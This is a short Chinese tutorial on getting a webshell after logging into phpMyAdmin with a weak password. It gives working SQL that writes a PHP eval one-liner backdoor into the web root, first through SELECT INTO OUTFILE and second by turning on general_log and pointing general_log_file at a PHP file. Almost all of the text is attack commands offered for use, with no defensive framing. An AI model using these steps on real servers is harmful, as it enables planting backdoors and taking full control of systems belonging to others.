文章目录
通过弱口令拿到进到phpMyAdmin页面如何才能获取权限
1、outfile写一句话
尝试执行outfile语句写入一句话木马
mysql
select "<?php @eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\phpadmin.php";
如果执行失败show variables like "%secure%";
查看配置
2、general_log_file写一句话
查看general_log是否开启
通过show global variables like "%genera%";
查看
执行set global general_log="on";
打开
通过generali_log_file
写入一句话木马
set global general_log_file="网站绝对路径/文件名";
mysql
SELECT "<?php @eval($_POST[1])?>"
general_log_file会记录所有的查询语句,以原始的状态来显示,如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。